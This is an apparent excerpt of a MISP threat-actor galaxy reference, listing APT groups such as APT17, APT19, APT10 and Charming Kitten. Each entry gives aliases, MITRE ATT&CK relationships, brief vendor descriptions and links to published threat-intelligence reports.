The tag is: *misp-galaxy:threat-actor="APT16"*

APT16 is also known as:

- SVCMONDR
- G0023

Table 6758. Table References

Links
https://www.fireeye.com/blog/threat-research/2015/12/the_eps_awakens.html
https://www.cfr.org/interactive/cyber-operations/apt-16
https://attack.mitre.org/groups/G0023
https://www.mandiant.com/resources/insights/apt-groups

APT17

FireEye described APT17 in a 2015 report as: 'APT17, also known as DeputyDog, is a China based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.'

The tag is: *misp-galaxy:threat-actor="APT17"*

APT17 is also known as:

- Group 8
- AURORA PANDA
- Hidden Lynx
- Tailgater Team
- Dogfish
- BRONZE KEYSTONE

- G0025
- Group 72
- G0001
- Axiom
- HELIUM

View relationships graph

APT17 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT17 - G0025" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Winnti Group - G0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Axiom - G0001" with estimative-language:likelihood-probability="likely"

Table 6759. Table References

Links
https://web.archive.org/web/20130924130243/https://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf
https://www.cfr.org/interactive/cyber-operations/apt-17
https://www.carbonblack.com/2013/02/08/bit9-and-our-customers-security/
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://web.archive.org/web/20130920000343/https://www.symantec.com/connect/blogs/hidden-lynx-professional-hackers-hire
https://www.recordedfuture.com/hidden-lynx-analysis/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://attack.mitre.org/groups/G0025/
https://cfr.org/cyber-operations/axiom
https://attack.mitre.org/groups/G0001/
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://www.mandiant.com/resources/insights/apt-groups

APT18

Wekby was described by Palo Alto Networks in a 2015 report as: 'Wekby is a group that has been active for a number of years, targeting various industries such as healthcare, telecommunications, aerospace, defense, and high tech. The group is known to leverage recently released exploits very shortly after those exploits are available, such as in the case of HackingTeams Flash zero - day exploit.'

The tag is: *misp-galaxy:threat-actor="APT18"*

APT18 is also known as:

- DYNAMITE PANDA
- TG-0416
- SCANDIUM
- PLA Navy
- Wekby
- G0026

View relationships graph

APT18 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="SAMURAI PANDA" with estimative-language:likelihood-probability="likely"

Table 6760. Table References

Links
https://threatpost.com/apt-gang-branches-out-to-medical-espionage-in-community-health-breach/107828
https://www.cfr.org/interactive/cyber-operations/apt-18
https://attack.mitre.org/groups/G0026
https://www.mandiant.com/resources/insights/apt-groups

APT19

Adversary group targeting financial, technology, non-profit organisations.

The tag is: *misp-galaxy:threat-actor="APT19"*

APT19 is also known as:

- DEEP PANDA
- Codoso
- WebMasters
- KungFu Kittens

- Black Vine
- TEMP.Avengers
- Group 13
- PinkPanther
- Shell Crew
- BRONZE FIRESTONE
- G0009
- G0073
- Pupa
- Sunshop Group

View relationships graph

APT19 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Deep Panda - G0009" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT19 - G0073" with estimative-language:likelihood-probability="likely"

Table 6761. Table References

Links
http://cybercampaigns.net/wp-content/uploads/2013/06/Deep-Panda.pdf
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf
https://www.cfr.org/interactive/cyber-operations/deep-panda
https://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/
https://eromang.zataz.com/2013/01/02/capstone-turbine-corporation-also-targeted-in-the-cfr-watering-hole-attack-and-more/
https://www.crowdstrike.com/blog/department-labor-strategic-web-compromise/
https://www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/
https://krebsonsecurity.com/2015/06/catching-up-on-the-opm-breach/
https://krebsonsecurity.com/2015/02/anthem-breach-may-have-started-in-april-2014/
https://www.nextgov.com/cybersecurity/2015/05/third-party-software-was-entry-point-background-check-system-hack/112354/
https://www.crowdstrike.com/blog/ironman-deep-panda-uses-sakula-malware-target-organizations-multiple-sectors/
https://www.abc.net.au/news/2014-11-13/g20-china-affliliated-hackers-breaches-australian-media/5889442

https://www.washingtonpost.com/business/economy/keypoint-suffers-network-breach-thousands-of-fed-workers-could-be-affected/2014/12/18/e6c7146c-86e1-11e4-a702-fa31ff4ae98e_story.html
https://www.seattletimes.com/business/local-business/feds-warned-premera-about-security-flaws-before-breach/
https://krebsonsecurity.com/2015/05/carefirst-blue-cross-breach-hits-1-1m/
https://threatvector.cylance.com/en_us/home/shell-crew-variants-continue-to-fly-under-big-avs-radar.html
https://www.bleepingcomputer.com/news/security/us-arrests-chinese-man-involved-with-sakula-malware-used-in-opm-and-anthem-hacks/
https://gizmodo.com/u-s-indicts-chinese-hacker-spies-in-conspiracy-to-stea-1830111695
https://www.cyberscoop.com/anthem-breach-indictment-chinese-national/
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/black-vine-cyberespionage-group-15-en.pdf
https://attack.mitre.org/groups/G0009/
https://www.secureworks.com/research/threat-profiles/bronze-firestone
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks
http://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/
https://www.nytimes.com/2016/06/12/technology/the-chinese-hackers-in-the-back-office.html
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf
https://www.mandiant.com/resources/insights/apt-groups
https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel
https://www.youtube.com/watch?v=FC9ARZIZglI

APT30

Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'

The tag is: *misp-galaxy:threat-actor="APT30"*

APT30 is also known as:

- PLA Unit 78020
- OVERRIDE PANDA
- Camerashy
- BRONZE GENEVA
- G0019
- Naikon

- BRONZE STERLING
- G0013

View relationships graph

APT30 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Naikon - G0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT30 - G0013" with estimative-language:likelihood-probability="likely"

Table 6762. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
https://www.cfr.org/interactive/cyber-operations/apt-30
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf
https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks
https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/
https://threatconnect.com/blog/tag/naikon/
https://attack.mitre.org/groups/G0019/
https://www.secureworks.com/research/threat-profiles/bronze-geneva
https://cyware.com/news/chinese-naikon-group-back-with-new-espionage-attack-66a8413d
https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/
https://www2.fireeye.com/rs/fireeye/images/rpt-apt30.pdf
https://attack.mitre.org/wiki/Group/G0013
https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf
https://www.mandiant.com/resources/insights/apt-groups
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

LOTUS PANDA

Lotus Blossom is a threat group that has targeted government and military organizations in Southeast Asia.

The tag is: *misp-galaxy:threat-actor="LOTUS PANDA"*

LOTUS PANDA is also known as:

- Spring Dragon
- ST Group
- DRAGONFISH
- BRONZE ELGIN
- ATK1
- G0030
- Red Salamander
- Lotus BLossom

View relationships graph

LOTUS PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Lotus Blossom - G0030" with estimative-language:likelihood-probability="likely"

Table 6763. Table References

Links
https://securelist.com/blog/research/70726/the-spring-dragon-apt/
https://securelist.com/spring-dragon-updated-activity/79067/
https://www.cfr.org/interactive/cyber-operations/lotus-blossom
https://unit42.paloaltonetworks.com/operation-lotus-blossom/
https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-46/Accenture-Security-Elise-Threat-Analysis.pdf[https://www.accenture.com/t00010101T000000Z*w*/gb-en/_acnmedia/PDF-46/Accenture-Security-Elise-Threat-Analysis.pdf]
https://unit42.paloaltonetworks.com/attack-on-french-diplomat-linked-to-operation-lotus-blossom/
https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting
https://www.accenture.com/t20180127T003755Z_w_/us-en/*acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w*/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]
https://attack.mitre.org/groups/G0030/
https://www.secureworks.com/research/threat-profiles/bronze-elgin
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

HURRICANE PANDA

We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone. HURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an 'eval()' command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence. Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via 'net use' and 'wmic' commands executed through the webshell terminal.

The tag is: *misp-galaxy:threat-actor="HURRICANE PANDA"*

Table 6764. Table References

Links
http://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/
https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/
https://www.crowdstrike.com/blog/storm-chasing/
https://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/

APT27

A China-based actor that targets foreign embassies to collect data on government, defence, and technology sectors.

The tag is: *misp-galaxy:threat-actor="APT27"*

APT27 is also known as:

- GreedyTaotie
- TG-3390
- EMISSARY PANDA
- TEMP.Hippo
- Red Phoenix
- Budworm
- Group 35

* ZipToken
* Iron Tiger
* BRONZE UNION
* Lucky Mouse
* G0027
* Iron Taurus

View relationships graph

APT27 has relationships with:

* similar: misp-galaxy:mitre-intrusion-set="Threat Group-3390 - G0027" with estimative-language:likelihood-probability="likely"

Table 6765. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://web.archive.org/web/20140129192702/https://www.scmagazineuk.com/iran-and-russia-blamed-for-state-sponsored-espionage/article/330401/
https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/
https://labs.bitdefender.com/wp-content/uploads/downloads/operation-pzchao-inside-a-highly-specialized-espionage-infrastructure/
https://www.cfr.org/interactive/cyber-operations/iron-tiger
https://www.bleepingcomputer.com/news/security/chinese-cyber-espionage-group-hacked-government-data-center/
https://www.secureworks.com/research/bronze-union
http://newsroom.trendmicro.com/blog/operation-iron-tiger-attackers-shift-east-asia-united-states
https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage
https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/
https://securelist.com/luckymouse-ndisproxy-driver/87914/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.09.17.Operation_Iron_Tiger/Operation%20Iron%20Tiger%20Appendix.pdf
https://arstechnica.com/information-technology/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
https://securelist.com/luckymouse-hits-national-data-center/86083/
https://attack.mitre.org/groups/G0027/

https://www.secureworks.com/research/threat-profiles/bronze-union
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/

APT10

The tag is: *misp-galaxy:threat-actor="APT10"*

APT10 is also known as:

- STONE PANDAD
- Menupass Team
- happyyongzi
- POTASSIUM
- DustStorm
- Red Apollo
- CVNX
- HOGFISH
- Cloud Hopper
- BRONZE RIVERSIDE
- ATK41
- G0045
- Granite Taurus

View relationships graph

APT10 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="menuPass - G0045" with estimative-language:likelihood-probability="likely"

Table 6766. Table References

Links
https://unit42.paloaltonetworks.com/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://www.cfr.org/interactive/cyber-operations/apt-10
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.eweek.com/security/chinese-nation-state-hackers-target-u.s-in-operation-tradesecret
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/
https://www.accenture.com/t20180423T055005Z_w_/se-en/*acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z_w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
https://www.us-cert.gov/sites/default/files/publications/IR-ALERT-MED-17-093-01C-Intrusions_Affecting_Multiple_Victims_Across_Multiple_Sectors.pdf
https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
https://www.fbi.gov/news/stories/chinese-hackers-indicted-122018
https://attack.mitre.org/groups/G0045/
https://www.secureworks.com/research/threat-profiles/bronze-riverside
https://unit42.paloaltonetworks.com/atoms/granite-taurus
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf

Hellsing

This threat actor uses spear-phishing techniques to compromise diplomatic targets in Southeast Asia, India, and the United States. It also seems to have targeted the APT 30. Possibly uses the same infrastructure as Mirage

The tag is: *misp-galaxy:threat-actor="Hellsing"*

Table 6767. Table References

Links
https://www.cfr.org/interactive/cyber-operations/hellsing
https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/

Night Dragon

The tag is: *misp-galaxy:threat-actor="Night Dragon"*

Night Dragon is also known as:

- G0014

[View relationships graph](#)

Night Dragon has relationships with:

* similar: misp-galaxy:mitre-intrusion-set="Night Dragon - G0014" with estimative-language:likelihood-probability="likely"

Table 6768. Table References

Links
https://kc.mcafee.com/corporate/index?page=content&id=KB71150
https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf
https://attack.mitre.org/groups/G0014/

APT15

This threat actor uses phishing techniques to compromise the networks of foreign ministries of European countries for espionage purposes.

The tag is: *misp-galaxy:threat-actor="APT15"*

APT15 is also known as:

* VIXEN PANDA
* Ke3Chang
* Playful Dragon
* Metushy
* Lurid
* Social Network Team
* Royal APT
* BRONZE PALACE
* BRONZE DAVENPORT
* BRONZE IDLEWOOD
* NICKEL
* G0004
* Red Vulture

Table 6769. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html

http://arstechnica.com/security/2015/04/elite-cyber-crime-group-strikes-back-after-attack-by-rival-apt-gang/
https://github.com/nccgroup/Royal_APT
https://www.cfr.org/interactive/cyber-operations/mirage
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf
https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/
https://attack.mitre.org/groups/G0004/
https://www.secureworks.com/research/threat-profiles/bronze-palace
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi

APT14

PLA Navy Anchor Panda is an adversary that CrowdStrike has tracked extensively over the last year targeting both civilian and military maritime operations in the green/brown water regions primarily in the area of operations of the South Sea Fleet of the PLA Navy. In addition to maritime operations in this region, Anchor Panda also heavily targeted western companies in the US, Germany, Sweden, the UK, and Australia, and other countries involved in maritime satellite systems, aerospace companies, and defense contractors. Not surprisingly, embassies and diplomatic missions in the region, foreign intelligence services, and foreign governments with space programs were also targeted.

The tag is: *misp-galaxy:threat-actor="APT14"*

APT14 is also known as:

- ANCHOR PANDA
- QAZTeam
- ALUMINUM

View relationships graph

APT14 has relationships with:

- uses: misp-galaxy:rat="Gh0st RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Gh0st Rat" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:tool="Torn RAT" with estimative-language:likelihood-probability="likely"

Table 6770. Table References

Links
http://www.crowdstrike.com/blog/whois-anchor-panda/
https://www.cfr.org/interactive/cyber-operations/anchor-panda
https://www.mandiant.com/resources/insights/apt-groups

APT21

The tag is: *misp-galaxy:threat-actor="APT21"*

APT21 is also known as:

- HAMMER PANDA
- TEMP.Zhenbao
- NetTraveler

Table 6771. Table References

Links
https://securelist.com/blog/research/35936/nettraveler-is-running-red-star-apt-attacks-compromise-high-profile-victims/
https://www.cfr.org/interactive/cyber-operations/nettraveler
https://www.kaspersky.com/about/press-releases/2013_kaspersky-lab-uncovers—operation-nettraveler—a-global-cyberespionage-campaign-targeting-government-affiliated-organizations-and-research-institutes
https://www.kaspersky.com/about/press-releases/2014_nettraveler-gets-a-makeover-for-10th-anniversary
https://unit42.paloaltonetworks.com/nettraveler-spear-phishing-email-targets-diplomat-of-uzbekistan/
https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests
http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242
https://www.mandiant.com/resources/insights/apt-groups

DAGGER PANDA

Operate since at least 2011, from several locations in China, with members in Korea and Japan as well. Possibly linked to Onion Dog. This threat actor targets government institutions, military contractors, maritime and shipbuilding groups, telecommunications operators, and others, primarily in Japan and South Korea.

The tag is: *misp-galaxy:threat-actor="DAGGER PANDA"*

DAGGER PANDA is also known as:

- IceFog
- Trident
- RedFoxtrot
- Red Wendigo
- PLA Unit 69010

Table 6772. Table References

Links
https://securelist.com/the-icefog-apt-a-tale-of-cloak-and-three-daggers/57331/
https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/
https://www.cfr.org/interactive/cyber-operations/icefog
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133739/icefog.pdf
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf

APT24

The Pitty Tiger group has been active since at least 2011. They have been seen using HeartBleed vulnerability in order to directly get valid credentials

The tag is: *misp-galaxy:threat-actor="APT24"*

APT24 is also known as:

- PITTY PANDA
- G0011
- Temp.Pittytiger

View relationships graph

APT24 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PittyTiger - G0011" with estimative-language:likelihood-probability="likely"

Table 6773. Table References

Links
http://blog.airbuscybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
http://blog.cassidiancybersecurity.com/post/2014/07/The-Eye-of-the-Tiger2
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/2014.07.11.Pitty_Tiger/Pitty_Tiger_Final_Report.pdf
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-attacks-on-french-company-exploit-multiple-word-vulnerabilities/
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
https://attack.mitre.org/groups/G0011
https://www.mandiant.com/resources/insights/apt-groups

Roaming Tiger

The tag is: *misp-galaxy:threat-actor="Roaming Tiger"*

Roaming Tiger is also known as:

- BRONZE WOODLAND
- Rotten Tomato

Table 6774. Table References

Links
https://unit42.paloaltonetworks.com/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
http://2014.zeronights.org/assets/files/slides/roaming_tiger_zeronights_2014.pdf
https://www.secureworks.com/research/threat-profiles/bronze-woodland

Beijing Group

The tag is: *misp-galaxy:threat-actor="Beijing Group"*

Beijing Group is also known as:

- SNEAKY PANDA
- Elderwood
- Elderwood Gang
- SIG22
- G0066

View relationships graph

Beijing Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Elderwood - G0066" with estimative-language:likelihood-probability="likely"

Table 6775. Table References

Links
https://www.cfr.org/interactive/cyber-operations/sneaky-panda
https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf
https://attack.mitre.org/groups/G0066/

RADIO PANDA

The tag is: *misp-galaxy:threat-actor="RADIO PANDA"*

RADIO PANDA is also known as:

- Shrouded Crossbow

APT.3102

The tag is: *misp-galaxy:threat-actor="APT.3102"*

Table 6776. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/

SAMURAI PANDA

The tag is: *misp-galaxy:threat-actor="SAMURAI PANDA"*

SAMURAI PANDA is also known as:

- PLA Navy
- Wisp Team

View relationships graph

SAMURAI PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="APT18" with estimative-language:likelihood-probability="likely"

Table 6777. Table References

Links
http://www.crowdstrike.com/blog/whois-samurai-panda/

IMPERSONATING PANDA

The tag is: *misp-galaxy:threat-actor="IMPERSONATING PANDA"*

APT20

We’ve uncovered some new data and likely attribution regarding a series of APT watering hole attacks this past summer. Watering hole attacks are an increasingly popular component of APT campaigns, as many people are more aware of spear phishing and are less likely to open documents or click on links in unsolicited emails. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and installing malware intended to compromise website visitors. These are often popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access. In contrast to many other APT campaigns, which tend to rely heavily on spear phishing to gain victims, “th3bug” is known for compromising legitimate websites their intended visitors are likely to frequent. Over the summer they compromised several sites, including a well-known Uyghur website written in that native language.

The tag is: *misp-galaxy:threat-actor="APT20"*

APT20 is also known as:

- VIOLIN PANDA
- TH3Bug
- Crawling Taurus

Table 6778. Table References

Links
http://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/
https://www.fox-it.com/nl/actueel/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf
https://unit42.paloaltonetworks.com/atoms/crawling-taurus/
https://www.mandiant.com/resources/insights/apt-groups

TOXIC PANDA

A group targeting dissident groups in China and at the boundaries.

The tag is: *misp-galaxy:threat-actor="TOXIC PANDA"*

Table 6779. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

TEMPER PANDA

China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. This threat actor targets prodemocratic activists and organizations in Hong Kong, European and international financial institutions, and a U.S.-based think tank.

The tag is: *misp-galaxy:threat-actor="TEMPER PANDA"*

TEMPER PANDA is also known as:

- Admin338
- Team338
- MAGNESIUM
- admin@338
- G0018

View relationships graph

TEMPER PANDA has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="admin@338 - G0018" with estimative-language:likelihood-probability="likely"

Table 6780. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html
https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html
https://www.cfr.org/interactive/cyber-operations/admin338
https://attack.mitre.org/groups/G0018/

APT23

TrendMicro described Tropic Trooper in a 2015 report as: 'Taiwan and the Philippines have become the targets of an ongoing campaign called Operation TropicTrooper. Active since 2012, the attackers behind the campaign haveset their sights on the Taiwanese government as well as a number of companies in the heavy industry. The same campaign has also targeted key Philippine military agencies.'

The tag is: *misp-galaxy:threat-actor="APT23"*

APT23 is also known as:

- PIRATE PANDA
- KeyBoy
- Tropic Trooper
- BRONZE HOBART
- G0081
- Red Orthrus

Table 6781. Table References

Links
https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/
http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
http://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/
https://unit42.paloaltonetworks.com/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/
https://blog.lookout.com/titan-mobile-threat
https://attack.mitre.org/groups/G0081/
https://www.secureworks.com/research/threat-profiles/bronze-hobart
https://www.mandiant.com/resources/insights/apt-groups
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

Flying Kitten

Activity: defense and aerospace sectors, also interested in targeting entities in the oil/gas industry.

The tag is: *misp-galaxy:threat-actor="Flying Kitten"*

Flying Kitten is also known as:

- SaffronRose

- Saffron Rose
- AjaxSecurityTeam
- Ajax Security Team
- Group 26
- Sayad

View relationships graph

Flying Kitten has relationships with:

- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="very-likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="OilRig" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"

Table 6782. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf
https://www.crowdstrike.com/blog/cat-scratch-fever-crowdstrike-tracks-newly-reported-iranian-actor-flying-kitten/
https://www.cfr.org/interactive/cyber-operations/saffron-rose

Cutting Kitten

One of the threat actors responsible for the denial of service attacks against U.S in 2012–2013. Three individuals associated with the group—believed to be have been working on behalf of Iran's Islamic Revolutionary Guard Corps—were indicted by the Justice Department in 2016.

The tag is: *misp-galaxy:threat-actor="Cutting Kitten"*

Cutting Kitten is also known as:

- ITsecTeam

Table 6783. Table References

Links
https://www.cfr.org/interactive/cyber-operations/itsecteam
https://www.justice.gov/usao-sdny/file/835061/download

Charming Kitten

Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.

The tag is: *misp-galaxy:threat-actor="Charming Kitten"*

Charming Kitten is also known as:

- Newscaster
- Parastoo
- iKittens
- Group 83
- Newsbeef
- NewsBeef
- G0058

View relationships graph

Charming Kitten has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
